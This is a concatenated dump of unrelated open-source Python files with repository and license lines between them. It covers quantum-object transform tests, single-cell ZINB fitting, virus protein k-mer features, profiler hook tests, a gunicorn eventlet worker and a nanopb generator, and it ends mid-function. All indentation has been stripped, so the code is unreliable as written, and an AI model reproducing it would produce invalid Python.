# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
###############################################################################
import numpy as np
from numpy.testing import assert_equal, assert_, run_module_suite
import scipy
from qutip import sigmax, sigmay, sigmaz, Qobj, rand_ket, rand_dm, ket2dm
def test_Transformation1():
"Transform 2-level to eigenbasis and back"
H1 = scipy.rand() * sigmax() + scipy.rand() * sigmay() + \
scipy.rand() * sigmaz()
evals, ekets = H1.eigenstates()
Heb = H1.transform(ekets) # eigenbasis (should be diagonal)
H2 = Heb.transform(ekets, True) # back to original basis
assert_equal((H1 - H2).norm() < 1e-6, True)
def test_Transformation2():
"Transform 10-level real-values to eigenbasis and back"
N = 10
H1 = Qobj((0.5 - scipy.rand(N, N)))
H1 = H1 + H1.dag()
evals, ekets = H1.eigenstates()
Heb = H1.transform(ekets) # eigenbasis (should be diagonal)
H2 = Heb.transform(ekets, True) # back to original basis
assert_equal((H1 - H2).norm() < 1e-6, True)
def test_Transformation3():
"Transform 10-level to eigenbasis and back"
N = 10
H1 = Qobj((0.5 - scipy.rand(N, N)) + 1j * (0.5 - scipy.rand(N, N)))
H1 = H1 + H1.dag()
evals, ekets = H1.eigenstates()
Heb = H1.transform(ekets) # eigenbasis (should be diagonal)
H2 = Heb.transform(ekets, True) # back to original basis
assert_equal((H1 - H2).norm() < 1e-6, True)
def test_Transformation4():
"Transform 10-level imag to eigenbasis and back"
N = 10
H1 = Qobj(1j * (0.5 - scipy.rand(N, N)))
H1 = H1 + H1.dag()
evals, ekets = H1.eigenstates()
Heb = H1.transform(ekets) # eigenbasis (should be diagonal)
H2 = Heb.transform(ekets, True) # back to original basis
assert_equal((H1 - H2).norm() < 1e-6, True)
def test_Transformation5():
"Consistency between transformations of kets and density matrices"
N = 4
psi0 = rand_ket(N)
# generate a random basis
evals, rand_basis = rand_dm(N, density=1).eigenstates()
rho1 = ket2dm(psi0).transform(rand_basis, True)
rho2 = ket2dm(psi0.transform(rand_basis, True))
assert_((rho1 - rho2).norm() < 1e-6)
def test_Transformation6():
"Check diagonalization via eigenbasis transformation"
cx, cy, cz = np.random.rand(), np.random.rand(), np.random.rand()
H = cx * sigmax() + cy * sigmay() + cz * sigmaz()
evals, evecs = H.eigenstates()
Heb = H.transform(evecs).tidyup() # Heb should be diagonal
assert_(abs(Heb.full() - np.diag(Heb.full().diagonal())).max() < 1e-6)
if __name__ == "__main__":
run_module_suite()
|
bsd-3-clause
|
theislab/dca
|
dca/utils.py
|
1
|
4911
|
import scanpy as sc
import matplotlib.pyplot as plt
import numpy as np
import pandas as pd
import seaborn as sns
import scipy as sp
import tensorflow as tf
from tensorflow.contrib.opt import ScipyOptimizerInterface
nb_zero = lambda t, mu: (t/(mu+t))**t
zinb_zero = lambda t, mu, p: p + ((1.-p)*((t/(mu+t))**t))
sigmoid = lambda x: 1. / (1.+np.exp(-x))
logit = lambda x: np.log(x + 1e-7) - np.log(1. - x + 1e-7)
tf_logit = lambda x: tf.cast(tf.log(x + 1e-7) - tf.log(1. - x + 1e-7), 'float32')
log_loss = lambda pred, label: np.sum(-(label*np.log(pred+1e-7)) - ((1.-label)*np.log(1.-pred+1e-7)))
def _lrt(ll_full, ll_reduced, df_full, df_reduced):
# Compute the difference in degrees of freedom.
delta_df = df_full - df_reduced
# Compute the deviance test statistic.
delta_dev = 2 * (ll_full - ll_reduced)
# Compute the p-values based on the deviance and its expection based on the chi-square distribution.
pvals = 1. - sp.stats.chi2(delta_df).cdf(delta_dev)
return pvals
def _fitquad(x, y):
coef, res, _, _ = np.linalg.lstsq((x**2)[:, np.newaxis] , y-x, rcond=None)
ss_exp = res[0]
ss_tot = (np.var(y-x)*len(x))
r2 = 1 - (ss_exp / ss_tot)
#print('Coefs:', coef)
return np.array([coef[0], 1, 0]), r2
def _tf_zinb_zero(mu, t=None):
a, b = tf.Variable([-1.0], dtype='float32'), tf.Variable([0.0], dtype='float32')
if t is None:
t_log = tf.Variable([-10.], dtype='float32')
t = tf.exp(t_log)
p = tf.sigmoid((tf.log(mu+1e-7)*a) + b)
pred = p + ((1.-p)*((t/(mu+t))**t))
pred = tf.cast(pred, 'float32')
return pred, a, b, t
def _optimize_zinb(mu, dropout, theta=None):
pred, a, b, t = _tf_zinb_zero(mu, theta)
#loss = tf.reduce_mean(tf.abs(tf_logit(pred) - tf_logit(dropout)))
loss = tf.losses.log_loss(labels=dropout.astype('float32'),
predictions=pred)
optimizer = ScipyOptimizerInterface(loss, options={'maxiter': 100})
with tf.Session() as sess:
sess.run(tf.global_variables_initializer())
optimizer.minimize(sess)
ret_a = sess.run(a)
ret_b = sess.run(b)
if theta is None:
ret_t = sess.run(t)
else:
ret_t = t
return ret_a, ret_b, ret_t
def plot_mean_dropout(ad, title, ax, opt_zinb_theta=False, legend_out=False):
expr = ad.X
mu = expr.mean(0)
do = np.mean(expr == 0, 0)
v = expr.var(axis=0)
coefs, r2 = _fitquad(mu, v)
theta = 1.0/coefs[0]
# zinb fit
coefs = _optimize_zinb(mu, do, theta=theta if not opt_zinb_theta else None)
print(coefs)
#pois_pred = np.exp(-mu)
nb_pred = nb_zero(theta, mu)
zinb_pred = zinb_zero(coefs[2],
mu,
sigmoid((np.log(mu+1e-7)*coefs[0])+coefs[1]))
# calculate log loss for all distr.
#pois_ll = log_loss(pois_pred, do)
nb_ll = log_loss(nb_pred, do)
zinb_ll = log_loss(zinb_pred, do)
ax.plot(mu, do, 'o', c='black', markersize=1)
ax.set(xscale="log")
#sns.lineplot(mu, pois_pred, ax=ax, color='blue')
sns.lineplot(mu, nb_pred, ax=ax, color='red')
sns.lineplot(mu, zinb_pred, ax=ax, color='green')
ax.set_title(title)
ax.set_ylabel('Empirical dropout rate')
ax.set_xlabel(r'Mean expression')
leg_loc = 'best' if not legend_out else 'upper left'
leg_bbox = None if not legend_out else (1.02, 1.)
ax.legend(['Genes',
#r'Poisson $L=%.4f$' % pois_ll,
r'NB($\theta=%.2f)\ L=%.4f$' % ((1./theta), nb_ll),
r'ZINB($\theta=%.2f,\pi=\sigma(%.2f\mu%+.2f)) \ L=%.4f$' % (1.0/coefs[2], coefs[0], coefs[1], zinb_ll)],
loc=leg_loc, bbox_to_anchor=leg_bbox)
zinb_pval = _lrt(-zinb_ll, -nb_ll, 3, 1)
print('p-value: %e' % zinb_pval)
def plot_mean_var(ad, title, ax):
ad = ad.copy()
sc.pp.filter_cells(ad, min_counts=1)
sc.pp.filter_genes(ad, min_counts=1)
m = ad.X.mean(axis=0)
v = ad.X.var(axis=0)
coefs, r2 = _fitquad(m, v)
ax.set(xscale="log", yscale="log")
ax.plot(m, v, 'o', c='black', markersize=1)
poly = np.poly1d(coefs)
sns.lineplot(m, poly(m), ax=ax, color='red')
ax.set_title(title)
ax.set_ylabel('Variance')
ax.set_xlabel(r'$\mu$')
sns.lineplot(m, m, ax=ax, color='blue')
ax.legend(['Genes', r'NB ($\theta=%.2f)\ r^2=%.3f$' % (coefs[0], r2), 'Poisson'])
return coefs[0]
def plot_zeroinf(ad, title, mean_var_plot=False, opt_theta=True):
if mean_var_plot:
f, axs = plt.subplots(1, 2, figsize=(15, 5))
plot_mean_var(ad, title, ax=axs[0])
plot_mean_dropout(ad, title, axs[1], opt_zinb_theta=opt_theta, legend_out=True)
plt.tight_layout()
else:
f, ax = plt.subplots(1, 1, figsize=(10, 5))
plot_mean_dropout(ad, title, ax, opt_zinb_theta=opt_theta, legend_out=True)
plt.tight_layout()
|
apache-2.0
|
rajanil/mkboost
|
src/generate_features.py
|
1
|
8882
|
import urllib
import json
import time
import mismatch
import csv
import numpy as np
import cPickle
import os
import pdb
class Protein():
"""
Class describing a protein in terms of its amino acid sequence
Arguments
name : string
name of the protein
"""
def __init__(self,name):
print "\tinitialised %s"%name
self.name = name
self.lines = []
self.label = None
def add_line(self,line):
"""
this adds a line of symbols to the (temporary) `lines` variable
Arguments
line : string
a line of protein symbols from a fasta file
"""
self.lines.append(line)
def finish(self,m,beta):
"""
this finishes off the parsing of a single protein from a fasta file.
It also generates the feature set - the count of each possible kmer in
the protein that are within m mismatches.
Arguments
m : int
number of mismatches allowed
beta : list
all possible kmers
"""
print "\tfinishing %s"%self.name
self.data = "".join(self.lines)
print "\t\tgenerating features"
self.feature = mismatch.gen_features(self.data,m,beta)
def __str__(self):
return self.name + "\n" + self.data
class Virus():
"""
class describing a virus as a collection of proteins
Arguments
name : string
name of the virus
virus_id : string
unique id of the virus
m : int
number of allowed mismatches
beta : list
all possible kmers
.. note::
The arguments `m` and `beta` are for generating features. See
:func:`protein.finish` for more info.
"""
def __init__(self,name,virus_id,m,beta):
print "initialised %s with id %s"%(name,virus_id)
self.name = name
self.id = virus_id
self.proteins = []
self.label = None
self.m = m
self.beta = beta
def add_line(self,line):
"""
adds a line from a fasta file to the virus definition. This either
starts a new protein or adds a line to the current protein.
Arguments
line : str
"""
if ">" in line:
if len(self.proteins):
self.proteins[-1].finish(self.m,self.beta)
self.proteins.append(Protein(line))
else:
self.proteins[-1].add_line(line)
def __len__(self):
return len(self.proteins)
def __getitem__(self,i):
return self.proteins[i]
def __str__(self):
return self.name
class Picorna():
"""
class describing a set of picorna viruses
Arguments
k : int
length of kmers to consider
m : int
largest number of mismatches
fasta_file : str
full path of file containing raw sequence data
class_file : str
full path of file containing virus host labels
"""
def __init__(self,k,m,fasta_file,class_file):
self.k = k
self.m = m
self.fasta_file = fasta_file
self.class_file = class_file
# form all kmers observed in data
cmd = [
"grep -v NC_ %s" % self.fasta_file,
"grep -v '>'",
"tr '\n' '*'"
]
x = os.popen(' | '.join(cmd)).next()
self.beta = mismatch.form_all_kmers_in_string(self.k,x)
self.viruses = []
# a dictionary of label numbers to labels
# replace elements for rhabdo viruses
#1:"plant",
#2:"animal"
self.label_dict = {
1:"invertebrate",
2:"plant",
3:"vertebrate"
}
def parse(self,max_v=None):
"""
This method parses a fasta file, populating the objects as it goes.
Kwargs
max_v : int
maximum number of viruses you want - used for debugging
"""
f = open(self.fasta_file,'r').readlines()
f = [fi.strip() for fi in f]
for line in f:
if ("NC_" in line or "virus" in line) and ">" not in line:
full_name = line.split(",")[0]
name_elements = full_name.split(' ')
virus_name = ' '.join(name_elements[1:])
virus_id = name_elements[0]
self.finish_last_protein()
if max_v:
if len(self.viruses) > max_v:
break
self.viruses.append(Virus(virus_name,virus_id,self.m,self.beta))
else:
self.viruses[-1].add_line(line)
self.finish_last_protein()
self.assign_classes()
def finish_last_protein(self):
"""
this is called at the very end of the parsing to finish off the last
protein.
"""
if len(self.viruses):
if len(self.viruses[-1].proteins):
self.viruses[-1].proteins[-1].finish(self.m,self.beta)
def assign_classes(self):
"""
This class reads the class_file which contains the ids, names and class
labels, and associates the appropriate label with each virus and
protein stored in the Picorna object.
"""
for row in csv.reader(open(self.class_file,'r'), delimiter=','):
try:
name, cls = row
except ValueError:
print row
raise
name_elements = name.split(' ')
virus_id = name_elements[0]
try:
virus = self.get_virus_by_id(virus_id)
except LookupError:
print "can't find virus %s with id %s"%(name, virus_id)
virus.label = self.label_dict[int(cls)]
for protein in virus.proteins:
protein.label = self.label_dict[int(cls)]
def __len__(self):
return len(self.viruses)
def __getitem__(self,i):
return self.viruses[i]
def get_virus_by_id(self,id):
"""Returns the virus object corresponding to a given id.
Arguments
id : string
id (name) of a given virus
Raises
`LookupError`
"""
for v in self.viruses:
if v.id == id:
return v
raise LookupError(id)
def summarise(self):
"""
This method collects together all the feature and class label
information in the Picorna object and creates a data matrix and a
class matrix
Returns
X : :math:`D \\times N` array
where D = number of kmers, N = number of proteins and the array
elements are the kmer counts within the mismatch value
Y : :math:`L \\times N` array
where K = number of classes and :math:`Y_{ij} = 1` if the
:math:`j^{th}` protein belongs to the :math:`i^{th}` class,
otherwise :math:`Y_{ij} = -1`
kmer_dict : dict
a mapping from the row index of `X` to each of the D kmers
"""
X = []
for mi in range(self.m):
feature_list = []
for virus in self:
# virus gets kmer counts in all its proteins
feature_list.append(np.array([protein.feature[:,mi] for protein in virus]).sum(0))
X.append(np.array(feature_list).T)
Y = np.empty((len(self.label_dict), X[0].shape[1]))
for i in range(Y.shape[0]):
for j, virus in enumerate(self):
if virus.label == self.label_dict[i+1]:
Y[i,j] = 1
else:
Y[i,j] = -1
kmer_dict = dict(zip(range(len(self.beta)),self.beta))
return X, Y, kmer_dict
if __name__=="__main__":
import csv
# specify K,M values and virus family
# M is the largest mismatch allowed
K = 15
M = 2
project_path = '/proj/ar2384/picorna/'
virus_family = 'picorna'
fasta_file = ''.join([project_path,'data/',virus_family,'virus-proteins.fasta'])
class_file = ''.join([project_path,'data/',virus_family,'_classes.csv'])
v = Picorna(k=K, m=M, fasta_file=fasta_file, class_file=class_file)
v.parse()
Xt, Yt, D = v.summarise()
# save data to avoid re-parsing
for m in range(M):
out_filename = '%scache/%s_protein/%s_virii_data_%d_%d.pkl' % (project_path, virus_family, virus_family, K, m)
f = open(out_filename,'w')
cPickle.Pickler(f,protocol=2).dump(Xt[m])
cPickle.Pickler(f,protocol=2).dump(Yt)
cPickle.Pickler(f,protocol=2).dump(D)
f.close()
|
mit
|
jakirkham/lazyflow
|
tests/test_blockwise_view.py
|
2
|
3090
|
import numpy
import logging
from lazyflow.utility import blockwise_view
logger = logging.getLogger("tests.test_blockwise_view")
def test_2d():
# Adapted from:
# http://stackoverflow.com/a/8070716/162094
n=4
m=5
a = numpy.arange(1,n*m+1).reshape(n,m)
logger.debug("original data:\n{}".format(a))
sz = a.itemsize
h,w = a.shape
bh,bw = 2,2
shape = (h/bh, w/bw, bh, bw)
logger.debug("shape:{}".format(shape))
strides = sz*numpy.array([w*bh,bw,w,1])
logger.debug("strides:{}".format(strides))
# This is our reference, copied straight from stackoverflow
blocks=numpy.lib.stride_tricks.as_strided(a, shape=shape, strides=strides)
logger.debug("reference blocks:\n{}".format(blocks))
view = blockwise_view(a, (bh,bw), False)
logger.debug("blockwise_view:\n{}".format(view))
assert view.shape == blocks.shape
assert (view == blocks).all()
# Prove that this was a view, not a copy
view[:] = 0
logger.debug("modified data:\n{}".format(a))
assert (a[0:4, 0:4] == 0).all(), "blockwise_view returned a copy, not a view!"
def test_3d():
"""
Copy a 3D array block-by-block into a 6D array,
and verify that the result matches blockwise_view()
"""
orig_data = numpy.random.random( (6, 9, 16) )
blockshape = (2,3,4)
final_shape = tuple(numpy.array(orig_data.shape) / blockshape) + blockshape
assert final_shape == (3,3,4,2,3,4), final_shape
blockwise_copy = numpy.zeros( final_shape )
block_addresses = final_shape[0:3]
for x in range(block_addresses[0]):
for y in range(block_addresses[1]):
for z in range(block_addresses[2]):
block_start = numpy.array((x,y,z)) * blockshape
block_stop = block_start + blockshape
blockwise_copy[x,y,z] = orig_data[ block_start[0] : block_stop[0],
block_start[1] : block_stop[1],
block_start[2] : block_stop[2] ]
view = blockwise_view( orig_data, blockshape )
assert view.shape == blockwise_copy.shape
assert (view == blockwise_copy).all()
assert not view.flags['C_CONTIGUOUS']
c_order_copy = view.copy('C')
assert c_order_copy.flags['C_CONTIGUOUS']
if __name__ == "__main__":
import sys
import nose
sys.argv.append("--nocapture") # Don't steal stdout. Show it on the console as usual.
sys.argv.append("--nologcapture") # Don't set the logging level to DEBUG. Leave it alone.
# Logging is OFF by default when running from command-line nose, i.e.:
# nosetests thisFile.py
# but ON by default if running this test directly, i.e.:
# python thisFile.py
formatter = logging.Formatter('%(levelname)s %(name)s %(message)s')
handler = logging.StreamHandler(sys.stdout)
handler.setFormatter(formatter)
logging.getLogger().addHandler( handler )
logger.setLevel(logging.DEBUG)
ret = nose.run(defaultTest=__file__)
if not ret: sys.exit(1)
|
lgpl-3.0
|
seem-sky/kbengine
|
kbe/res/scripts/common/Lib/test/test_sys_setprofile.py
|
177
|
11355
|
import gc
import pprint
import sys
import unittest
from test import support
class TestGetProfile(unittest.TestCase):
def setUp(self):
sys.setprofile(None)
def tearDown(self):
sys.setprofile(None)
def test_empty(self):
self.assertIsNone(sys.getprofile())
def test_setget(self):
def fn(*args):
pass
sys.setprofile(fn)
self.assertIs(sys.getprofile(), fn)
class HookWatcher:
def __init__(self):
self.frames = []
self.events = []
def callback(self, frame, event, arg):
if (event == "call"
or event == "return"
or event == "exception"):
self.add_event(event, frame)
def add_event(self, event, frame=None):
"""Add an event to the log."""
if frame is None:
frame = sys._getframe(1)
try:
frameno = self.frames.index(frame)
except ValueError:
frameno = len(self.frames)
self.frames.append(frame)
self.events.append((frameno, event, ident(frame)))
def get_events(self):
"""Remove calls to add_event()."""
disallowed = [ident(self.add_event.__func__), ident(ident)]
self.frames = None
return [item for item in self.events if item[2] not in disallowed]
class ProfileSimulator(HookWatcher):
def __init__(self, testcase):
self.testcase = testcase
self.stack = []
HookWatcher.__init__(self)
def callback(self, frame, event, arg):
# Callback registered with sys.setprofile()/sys.settrace()
self.dispatch[event](self, frame)
def trace_call(self, frame):
self.add_event('call', frame)
self.stack.append(frame)
def trace_return(self, frame):
self.add_event('return', frame)
self.stack.pop()
def trace_exception(self, frame):
self.testcase.fail(
"the profiler should never receive exception events")
def trace_pass(self, frame):
pass
dispatch = {
'call': trace_call,
'exception': trace_exception,
'return': trace_return,
'c_call': trace_pass,
'c_return': trace_pass,
'c_exception': trace_pass,
}
class TestCaseBase(unittest.TestCase):
def check_events(self, callable, expected):
events = capture_events(callable, self.new_watcher())
if events != expected:
self.fail("Expected events:\n%s\nReceived events:\n%s"
% (pprint.pformat(expected), pprint.pformat(events)))
class ProfileHookTestCase(TestCaseBase):
def new_watcher(self):
return HookWatcher()
def test_simple(self):
def f(p):
pass
f_ident = ident(f)
self.check_events(f, [(1, 'call', f_ident),
(1, 'return', f_ident),
])
def test_exception(self):
def f(p):
1/0
f_ident = ident(f)
self.check_events(f, [(1, 'call', f_ident),
(1, 'return', f_ident),
])
def test_caught_exception(self):
def f(p):
try: 1/0
except: pass
f_ident = ident(f)
self.check_events(f, [(1, 'call', f_ident),
(1, 'return', f_ident),
])
def test_caught_nested_exception(self):
def f(p):
try: 1/0
except: pass
f_ident = ident(f)
self.check_events(f, [(1, 'call', f_ident),
(1, 'return', f_ident),
])
def test_nested_exception(self):
def f(p):
1/0
f_ident = ident(f)
self.check_events(f, [(1, 'call', f_ident),
# This isn't what I expected:
# (0, 'exception', protect_ident),
# I expected this again:
(1, 'return', f_ident),
])
def test_exception_in_except_clause(self):
def f(p):
1/0
def g(p):
try:
f(p)
except:
try: f(p)
except: pass
f_ident = ident(f)
g_ident = ident(g)
self.check_events(g, [(1, 'call', g_ident),
(2, 'call', f_ident),
(2, 'return', f_ident),
(3, 'call', f_ident),
(3, 'return', f_ident),
(1, 'return', g_ident),
])
def test_exception_propogation(self):
def f(p):
1/0
def g(p):
try: f(p)
finally: p.add_event("falling through")
f_ident = ident(f)
g_ident = ident(g)
self.check_events(g, [(1, 'call', g_ident),
(2, 'call', f_ident),
(2, 'return', f_ident),
(1, 'falling through', g_ident),
(1, 'return', g_ident),
])
def test_raise_twice(self):
def f(p):
try: 1/0
except: 1/0
f_ident = ident(f)
self.check_events(f, [(1, 'call', f_ident),
(1, 'return', f_ident),
])
def test_raise_reraise(self):
def f(p):
try: 1/0
except: raise
f_ident = ident(f)
self.check_events(f, [(1, 'call', f_ident),
(1, 'return', f_ident),
])
def test_raise(self):
def f(p):
raise Exception()
f_ident = ident(f)
self.check_events(f, [(1, 'call', f_ident),
(1, 'return', f_ident),
])
def test_distant_exception(self):
def f():
1/0
def g():
f()
def h():
g()
def i():
h()
def j(p):
i()
f_ident = ident(f)
g_ident = ident(g)
h_ident = ident(h)
i_ident = ident(i)
j_ident = ident(j)
self.check_events(j, [(1, 'call', j_ident),
(2, 'call', i_ident),
(3, 'call', h_ident),
(4, 'call', g_ident),
(5, 'call', f_ident),
(5, 'return', f_ident),
(4, 'return', g_ident),
(3, 'return', h_ident),
(2, 'return', i_ident),
(1, 'return', j_ident),
])
def test_generator(self):
def f():
for i in range(2):
yield i
def g(p):
for i in f():
pass
f_ident = ident(f)
g_ident = ident(g)
self.check_events(g, [(1, 'call', g_ident),
# call the iterator twice to generate values
(2, 'call', f_ident),
(2, 'return', f_ident),
(2, 'call', f_ident),
(2, 'return', f_ident),
# once more; returns end-of-iteration with
# actually raising an exception
(2, 'call', f_ident),
(2, 'return', f_ident),
(1, 'return', g_ident),
])
def test_stop_iteration(self):
def f():
for i in range(2):
yield i
raise StopIteration
def g(p):
for i in f():
pass
f_ident = ident(f)
g_ident = ident(g)
self.check_events(g, [(1, 'call', g_ident),
# call the iterator twice to generate values
(2, 'call', f_ident),
(2, 'return', f_ident),
(2, 'call', f_ident),
(2, 'return', f_ident),
# once more to hit the raise:
(2, 'call', f_ident),
(2, 'return', f_ident),
(1, 'return', g_ident),
])
class ProfileSimulatorTestCase(TestCaseBase):
def new_watcher(self):
return ProfileSimulator(self)
def test_simple(self):
def f(p):
pass
f_ident = ident(f)
self.check_events(f, [(1, 'call', f_ident),
(1, 'return', f_ident),
])
def test_basic_exception(self):
def f(p):
1/0
f_ident = ident(f)
self.check_events(f, [(1, 'call', f_ident),
(1, 'return', f_ident),
])
def test_caught_exception(self):
def f(p):
try: 1/0
except: pass
f_ident = ident(f)
self.check_events(f, [(1, 'call', f_ident),
(1, 'return', f_ident),
])
def test_distant_exception(self):
def f():
1/0
def g():
f()
def h():
g()
def i():
h()
def j(p):
i()
f_ident = ident(f)
g_ident = ident(g)
h_ident = ident(h)
i_ident = ident(i)
j_ident = ident(j)
self.check_events(j, [(1, 'call', j_ident),
(2, 'call', i_ident),
(3, 'call', h_ident),
(4, 'call', g_ident),
(5, 'call', f_ident),
(5, 'return', f_ident),
(4, 'return', g_ident),
(3, 'return', h_ident),
(2, 'return', i_ident),
(1, 'return', j_ident),
])
def ident(function):
if hasattr(function, "f_code"):
code = function.f_code
else:
code = function.__code__
return code.co_firstlineno, code.co_name
def protect(f, p):
try: f(p)
except: pass
protect_ident = ident(protect)
def capture_events(callable, p=None):
if p is None:
p = HookWatcher()
# Disable the garbage collector. This prevents __del__s from showing up in
# traces.
old_gc = gc.isenabled()
gc.disable()
try:
sys.setprofile(p.callback)
protect(callable, p)
sys.setprofile(None)
finally:
if old_gc:
gc.enable()
return p.get_events()[1:-1]
def show_events(callable):
import pprint
pprint.pprint(capture_events(callable))
def test_main():
support.run_unittest(
TestGetProfile,
ProfileHookTestCase,
ProfileSimulatorTestCase
)
if __name__ == "__main__":
test_main()
|
lgpl-3.0
|
lesina/Hack70
|
env/lib/python3.5/site-packages/gunicorn/workers/geventlet.py
|
22
|
3796
|
# -*- coding: utf-8 -
#
# This file is part of gunicorn released under the MIT license.
# See the NOTICE for more information.
from functools import partial
import errno
import sys
try:
import eventlet
except ImportError:
raise RuntimeError("You need eventlet installed to use this worker.")
# validate the eventlet version
if eventlet.version_info < (0, 9, 7):
raise RuntimeError("You need eventlet >= 0.9.7")
from eventlet import hubs, greenthread
from eventlet.greenio import GreenSocket
from eventlet.hubs import trampoline
import greenlet
from gunicorn.http.wsgi import sendfile as o_sendfile
from gunicorn.workers.async import AsyncWorker
def _eventlet_sendfile(fdout, fdin, offset, nbytes):
while True:
try:
return o_sendfile(fdout, fdin, offset, nbytes)
except OSError as e:
if e.args[0] == errno.EAGAIN:
trampoline(fdout, write=True)
else:
raise
def _eventlet_serve(sock, handle, concurrency):
"""
Serve requests forever.
This code is nearly identical to ``eventlet.convenience.serve`` except
that it attempts to join the pool at the end, which allows for gunicorn
graceful shutdowns.
"""
pool = eventlet.greenpool.GreenPool(concurrency)
server_gt = eventlet.greenthread.getcurrent()
while True:
try:
conn, addr = sock.accept()
gt = pool.spawn(handle, conn, addr)
gt.link(_eventlet_stop, server_gt, conn)
conn, addr, gt = None, None, None
except eventlet.StopServe:
sock.close()
pool.waitall()
return
def _eventlet_stop(client, server, conn):
"""
Stop a greenlet handling a request and close its connection.
This code is lifted from eventlet so as not to depend on undocumented
functions in the library.
"""
try:
try:
client.wait()
finally:
conn.close()
except greenlet.GreenletExit:
pass
except Exception:
greenthread.kill(server, *sys.exc_info())
def patch_sendfile():
from gunicorn.http import wsgi
if o_sendfile is not None:
setattr(wsgi, "sendfile", _eventlet_sendfile)
class EventletWorker(AsyncWorker):
def patch(self):
hubs.use_hub()
eventlet.monkey_patch(os=False)
patch_sendfile()
def init_process(self):
self.patch()
super(EventletWorker, self).init_process()
def handle_quit(self, sig, frame):
eventlet.spawn(super(EventletWorker, self).handle_quit, sig, frame)
def timeout_ctx(self):
return eventlet.Timeout(self.cfg.keepalive or None, False)
def handle(self, listener, client, addr):
if self.cfg.is_ssl:
client = eventlet.wrap_ssl(client, server_side=True,
**self.cfg.ssl_options)
super(EventletWorker, self).handle(listener, client, addr)
def run(self):
acceptors = []
for sock in self.sockets:
gsock = GreenSocket(sock)
gsock.setblocking(1)
hfun = partial(self.handle, gsock)
acceptor = eventlet.spawn(_eventlet_serve, gsock, hfun,
self.worker_connections)
acceptors.append(acceptor)
eventlet.sleep(0.0)
while self.alive:
self.notify()
eventlet.sleep(1.0)
self.notify()
try:
with eventlet.Timeout(self.cfg.graceful_timeout) as t:
[a.kill(eventlet.StopServe()) for a in acceptors]
[a.wait() for a in acceptors]
except eventlet.Timeout as te:
if te != t:
raise
[a.kill() for a in acceptors]
|
gpl-3.0
|
firebase/firebase-ios-sdk
|
Firestore/Protos/nanopb_cpp_generator.py
|
2
|
14326
|
#!/usr/bin/env python
# Copyright 2018 Google
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Generates and massages protocol buffer outputs.
"""
from __future__ import print_function
import sys
import io
import nanopb_generator as nanopb
import os
import os.path
import re
import shlex
import textwrap
from google.protobuf.descriptor_pb2 import FieldDescriptorProto
from lib import pretty_printing as printing
if sys.platform == 'win32':
import msvcrt # pylint: disable=g-import-not-at-top
# The plugin_pb2 package loads descriptors on import, but doesn't defend
# against multiple imports. Reuse the plugin package as loaded by the
# nanopb_generator.
plugin_pb2 = nanopb.plugin_pb2
nanopb_pb2 = nanopb.nanopb_pb2
def main():
# Parse request
if sys.platform == 'win32':
# Set stdin and stdout to binary mode
msvcrt.setmode(sys.stdin.fileno(), os.O_BINARY)
msvcrt.setmode(sys.stdout.fileno(), os.O_BINARY)
data = io.open(sys.stdin.fileno(), 'rb').read()
request = plugin_pb2.CodeGeneratorRequest.FromString(data)
# Preprocess inputs, changing types and nanopb defaults
use_anonymous_oneof(request)
use_bytes_for_strings(request)
use_malloc(request)
# Generate code
options = nanopb_parse_options(request)
parsed_files = nanopb_parse_files(request, options)
results = nanopb_generate(request, options, parsed_files)
pretty_printing = create_pretty_printing(parsed_files)
response = nanopb_write(results, pretty_printing)
# Write to stdout
io.open(sys.stdout.fileno(), 'wb').write(response.SerializeToString())
def use_malloc(request):
"""Mark all variable length items as requiring malloc.
By default nanopb renders string, bytes, and repeated fields (dynamic fields)
as having the C type pb_callback_t. Unfortunately this type is incompatible
with nanopb's union support.
The function performs the equivalent of adding the following annotation to
each dynamic field in all the protos.
string name = 1 [(nanopb).type = FT_POINTER];
Args:
request: A CodeGeneratorRequest from protoc. The descriptors are modified
in place.
"""
dynamic_types = [
FieldDescriptorProto.TYPE_STRING,
FieldDescriptorProto.TYPE_BYTES,
]
for _, message_type in iterate_messages(request):
for field in message_type.field:
dynamic_type = field.type in dynamic_types
repeated = field.label == FieldDescriptorProto.LABEL_REPEATED
if dynamic_type or repeated:
ext = field.options.Extensions[nanopb_pb2.nanopb]
ext.type = nanopb_pb2.FT_POINTER
def use_anonymous_oneof(request):
"""Use anonymous unions for oneofs if they're the only one in a message.
Equivalent to setting this option on messages where it applies:
option (nanopb).anonymous_oneof = true;
Args:
request: A CodeGeneratorRequest from protoc. The descriptors are modified
in place.
"""
for _, message_type in iterate_messages(request):
if len(message_type.oneof_decl) == 1:
ext = message_type.options.Extensions[nanopb_pb2.nanopb_msgopt]
ext.anonymous_oneof = True
def use_bytes_for_strings(request):
"""Always use the bytes type instead of string.
By default, nanopb renders proto strings as having the C type char* and does
not include a separate size field, getting the length of the string via
strlen(). Unfortunately this prevents using strings with embedded nulls,
which is something the wire format supports.
Fortunately, string and bytes proto fields are identical on the wire and
nanopb's bytes representation does have an explicit length, so this function
changes the types of all string fields to bytes. The generated code will now
contain pb_bytes_array_t.
There's no nanopb or proto option to control this behavior. The equivalent
would be to hand edit all the .proto files :-(.
Args:
request: A CodeGeneratorRequest from protoc. The descriptors are modified
in place.
"""
for names, message_type in iterate_messages(request):
for field in message_type.field:
if field.type == FieldDescriptorProto.TYPE_STRING:
field.type = FieldDescriptorProto.TYPE_BYTES
def iterate_messages(request):
"""Iterates over all messages in all files in the request.
Args:
request: A CodeGeneratorRequest passed by protoc.
Yields:
names: a nanopb.Names object giving a qualified name for the message
message_type: a DescriptorProto for the message.
"""
for fdesc in request.proto_file:
for names, message_type in nanopb.iterate_messages(fdesc):
yield names, message_type
def nanopb_parse_options(request):
